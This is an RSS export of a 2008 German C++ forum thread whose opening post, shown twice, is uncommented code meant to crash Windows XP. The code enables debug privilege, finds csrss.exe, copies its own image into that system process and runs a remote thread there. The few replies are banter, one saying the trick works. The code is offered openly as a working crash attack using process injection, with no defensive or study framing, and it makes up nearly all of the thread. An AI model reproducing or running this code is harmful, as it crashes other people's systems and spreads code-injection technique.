<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[roflers Trickkiste, heute: windows xp crashen]]></title><description><![CDATA[<pre><code class="language-cpp">#include &lt;windows.h&gt;

typedef BOOL (WINAPI *tEnumProcesses)(DWORD*,DWORD,DWORD*);
typedef BOOL (WINAPI *tEnumProcessModules)(HANDLE,HMODULE*,DWORD,LPDWORD);
typedef DWORD (WINAPI *tGetModuleBaseNameA)(HANDLE,HMODULE,LPSTR,DWORD);

typedef int (WINAPI *tMessageBoxA)(HWND,const char*,const char*,UINT);
#define CHADDR(type,x) ((##type)((DWORD)(x) + (DWORD)(hmem) - (DWORD)(hinst)))

tEnumProcesses EnumProcesses;
tEnumProcessModules EnumProcessModules;
tGetModuleBaseNameA GetModuleBaseName;

typedef struct {
    tMessageBoxA pMessageBox;
    char *txt;
} ADDRS;

void HideNT();
DWORD WINAPI Hack(ADDRS*);

ADDRS addrs;
char txt[] = &quot;BSOD&quot;;
char s[1024];

void main(void)
{
    HMODULE psapi = LoadLibrary(&quot;psapi.dll&quot;);
    EnumProcesses = (tEnumProcesses)GetProcAddress(psapi,&quot;EnumProcesses&quot;);
    EnumProcessModules = (tEnumProcessModules)GetProcAddress(psapi,&quot;EnumProcessModules&quot;);
    GetModuleBaseName = (tGetModuleBaseNameA)GetProcAddress(psapi,&quot;GetModuleBaseNameA&quot;);
    if(!EnumProcesses || !EnumProcessModules || !GetModuleBaseName) return;

	HideNT();
	Sleep(100);
	ExitProcess(0);
}

void HideNT()
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;

    memset(&amp;tkp,0,sizeof(tkp));
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken);
    LookupPrivilegeValue(0,SE_DEBUG_NAME, &amp;tkp.Privileges[0].Luid);
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
    AdjustTokenPrivileges(hToken, FALSE, &amp;tkp, 0, 0, 0);

    HMODULE hinst = GetModuleHandle(0);
    IMAGE_NT_HEADERS32 *pe = (IMAGE_NT_HEADERS32*)(((IMAGE_DOS_HEADER*)hinst)-&gt;e_lfanew + (DWORD)hinst);
    DWORD size = pe-&gt;OptionalHeader.SizeOfImage;
    DWORD wb;

    DWORD n;
    DWORD pr[1024];
    if(!EnumProcesses(pr,sizeof(pr),&amp;n)) return;
    n &gt;&gt;= 2;

    DWORD cpid = GetCurrentProcessId();
    for(int i = 0; i &lt; n; i++)
    {
        if(pr[i] == cpid) continue;
        HANDLE h = OpenProcess(PROCESS_ALL_ACCESS,0,pr[i]);
        if(!h) continue;
        HMODULE mod;
        DWORD nmod;
        EnumProcessModules(h,&amp;mod,4,&amp;nmod);
        GetModuleBaseName(h,mod,s,1023);
        if(lstrcmpi(s,&quot;csrss.exe&quot;))
        {
            CloseHandle(h);
            continue;
        }
        LPVOID hmem = VirtualAllocEx(h,0,size,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
        if(!hmem)
        {
            CloseHandle(h);
            continue;
        }
        addrs.txt = CHADDR(char*,txt);
        addrs.pMessageBox = MessageBoxA;
        if(!WriteProcessMemory(h,hmem,(LPVOID)hinst,size,&amp;wb))
        {
            VirtualFreeEx(h,hmem,size,MEM_DECOMMIT|MEM_RELEASE);
            CloseHandle(h);
            continue;
        }
        DWORD tid;
        if(!CreateRemoteThread(h,0,0,
            (LPTHREAD_START_ROUTINE)((DWORD)Hack + (DWORD)hmem - (DWORD)hinst),
            (LPVOID)((LPVOID)((DWORD)&amp;addrs - (DWORD)hinst + (DWORD)hmem)),0,&amp;tid))
        {
            VirtualFreeEx(h,hmem,size,MEM_DECOMMIT|MEM_RELEASE);
            CloseHandle(h);
        }
    }
}

DWORD WINAPI Hack(ADDRS *a)
{
    return a-&gt;pMessageBox(0,a-&gt;txt,a-&gt;txt,0);
}
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/topic/211245/roflers-trickkiste-heute-windows-xp-crashen</link><generator>RSS for Node</generator><lastBuildDate>Tue, 21 Apr 2026 15:25:08 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/211245.rss" rel="self" type="application/rss+xml"/><pubDate>Sun, 20 Apr 2008 22:08:04 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to roflers Trickkiste, heute: windows xp crashen on Sun, 20 Apr 2008 22:08:04 GMT]]></title><description><![CDATA[<pre><code class="language-cpp">#include &lt;windows.h&gt;

typedef BOOL (WINAPI *tEnumProcesses)(DWORD*,DWORD,DWORD*);
typedef BOOL (WINAPI *tEnumProcessModules)(HANDLE,HMODULE*,DWORD,LPDWORD);
typedef DWORD (WINAPI *tGetModuleBaseNameA)(HANDLE,HMODULE,LPSTR,DWORD);

typedef int (WINAPI *tMessageBoxA)(HWND,const char*,const char*,UINT);
#define CHADDR(type,x) ((##type)((DWORD)(x) + (DWORD)(hmem) - (DWORD)(hinst)))

tEnumProcesses EnumProcesses;
tEnumProcessModules EnumProcessModules;
tGetModuleBaseNameA GetModuleBaseName;

typedef struct {
    tMessageBoxA pMessageBox;
    char *txt;
} ADDRS;

void HideNT();
DWORD WINAPI Hack(ADDRS*);

ADDRS addrs;
char txt[] = &quot;BSOD&quot;;
char s[1024];

void main(void)
{
    HMODULE psapi = LoadLibrary(&quot;psapi.dll&quot;);
    EnumProcesses = (tEnumProcesses)GetProcAddress(psapi,&quot;EnumProcesses&quot;);
    EnumProcessModules = (tEnumProcessModules)GetProcAddress(psapi,&quot;EnumProcessModules&quot;);
    GetModuleBaseName = (tGetModuleBaseNameA)GetProcAddress(psapi,&quot;GetModuleBaseNameA&quot;);
    if(!EnumProcesses || !EnumProcessModules || !GetModuleBaseName) return;

	HideNT();
	Sleep(100);
	ExitProcess(0);
}

void HideNT()
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;

    memset(&amp;tkp,0,sizeof(tkp));
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken);
    LookupPrivilegeValue(0,SE_DEBUG_NAME, &amp;tkp.Privileges[0].Luid);
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
    AdjustTokenPrivileges(hToken, FALSE, &amp;tkp, 0, 0, 0);

    HMODULE hinst = GetModuleHandle(0);
    IMAGE_NT_HEADERS32 *pe = (IMAGE_NT_HEADERS32*)(((IMAGE_DOS_HEADER*)hinst)-&gt;e_lfanew + (DWORD)hinst);
    DWORD size = pe-&gt;OptionalHeader.SizeOfImage;
    DWORD wb;

    DWORD n;
    DWORD pr[1024];
    if(!EnumProcesses(pr,sizeof(pr),&amp;n)) return;
    n &gt;&gt;= 2;

    DWORD cpid = GetCurrentProcessId();
    for(int i = 0; i &lt; n; i++)
    {
        if(pr[i] == cpid) continue;
        HANDLE h = OpenProcess(PROCESS_ALL_ACCESS,0,pr[i]);
        if(!h) continue;
        HMODULE mod;
        DWORD nmod;
        EnumProcessModules(h,&amp;mod,4,&amp;nmod);
        GetModuleBaseName(h,mod,s,1023);
        if(lstrcmpi(s,&quot;csrss.exe&quot;))
        {
            CloseHandle(h);
            continue;
        }
        LPVOID hmem = VirtualAllocEx(h,0,size,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
        if(!hmem)
        {
            CloseHandle(h);
            continue;
        }
        addrs.txt = CHADDR(char*,txt);
        addrs.pMessageBox = MessageBoxA;
        if(!WriteProcessMemory(h,hmem,(LPVOID)hinst,size,&amp;wb))
        {
            VirtualFreeEx(h,hmem,size,MEM_DECOMMIT|MEM_RELEASE);
            CloseHandle(h);
            continue;
        }
        DWORD tid;
        if(!CreateRemoteThread(h,0,0,
            (LPTHREAD_START_ROUTINE)((DWORD)Hack + (DWORD)hmem - (DWORD)hinst),
            (LPVOID)((LPVOID)((DWORD)&amp;addrs - (DWORD)hinst + (DWORD)hmem)),0,&amp;tid))
        {
            VirtualFreeEx(h,hmem,size,MEM_DECOMMIT|MEM_RELEASE);
            CloseHandle(h);
        }
    }
}

DWORD WINAPI Hack(ADDRS *a)
{
    return a-&gt;pMessageBox(0,a-&gt;txt,a-&gt;txt,0);
}
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/1495321</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1495321</guid><dc:creator><![CDATA[rofler]]></dc:creator><pubDate>Sun, 20 Apr 2008 22:08:04 GMT</pubDate></item><item><title><![CDATA[Reply to roflers Trickkiste, heute: windows xp crashen on Mon, 21 Apr 2008 10:43:55 GMT]]></title><description><![CDATA[<p>Es tut mir leid, Leute ich bin so blöd! Bitte verzeiht mir meine unendliche Ignoranz!</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1495530</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1495530</guid><dc:creator><![CDATA[rofler]]></dc:creator><pubDate>Mon, 21 Apr 2008 10:43:55 GMT</pubDate></item><item><title><![CDATA[Reply to roflers Trickkiste, heute: windows xp crashen on Mon, 21 Apr 2008 10:51:15 GMT]]></title><description><![CDATA[<p>rofler schrieb:</p>
<blockquote>
<p>Es tut mir leid, Leute ich bin so blöd! Bitte verzeiht mir meine unendliche Ignoranz!</p>
</blockquote>
<p>Bla, fake mich nicht, die Beiträge vom echten rofler (mir) zeugen von Intelligenz. Die Beiträge solcher Faker wie du hingegen zeugen höchstens von intellektueller Armut, also lass es Merker <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f44e.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--thumbs_down"
      title=":-1:"
      alt="👎"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1495540</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1495540</guid><dc:creator><![CDATA[rofler]]></dc:creator><pubDate>Mon, 21 Apr 2008 10:51:15 GMT</pubDate></item><item><title><![CDATA[Reply to roflers Trickkiste, heute: windows xp crashen on Mon, 21 Apr 2008 11:05:02 GMT]]></title><description><![CDATA[<p>registrieren soll helfen <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f644.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--face_with_rolling_eyes"
      title=":rolling_eyes:"
      alt="🙄"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1495552</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1495552</guid><dc:creator><![CDATA[Machine]]></dc:creator><pubDate>Mon, 21 Apr 2008 11:05:02 GMT</pubDate></item><item><title><![CDATA[Reply to roflers Trickkiste, heute: windows xp crashen on Mon, 21 Apr 2008 11:15:22 GMT]]></title><description><![CDATA[<p>Klappt einmannfrei! Vielen Dank rofler.</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1495558</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1495558</guid><dc:creator><![CDATA[Nutzer des Codes]]></dc:creator><pubDate>Mon, 21 Apr 2008 11:15:22 GMT</pubDate></item><item><title><![CDATA[Reply to roflers Trickkiste, heute: windows xp crashen on Mon, 21 Apr 2008 11:16:02 GMT]]></title><description><![CDATA[<p>Hmm, ein Codeschnipsel ohne Kommentare, ohne Frage, dann Kommentare ohne Bezug- <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f615.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--confused_face"
      title=":confused:"
      alt="😕"
    /><br />
Irgendwie kommt mir das alles hier nur wie Trollfutter vor. <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f44e.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--thumbs_down"
      title=":-1:"
      alt="👎"
    /></p>
]]></description><link>https://www.c-plusplus.net/forum/post/1495559</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1495559</guid><dc:creator><![CDATA[Elektronix]]></dc:creator><pubDate>Mon, 21 Apr 2008 11:16:02 GMT</pubDate></item></channel></rss>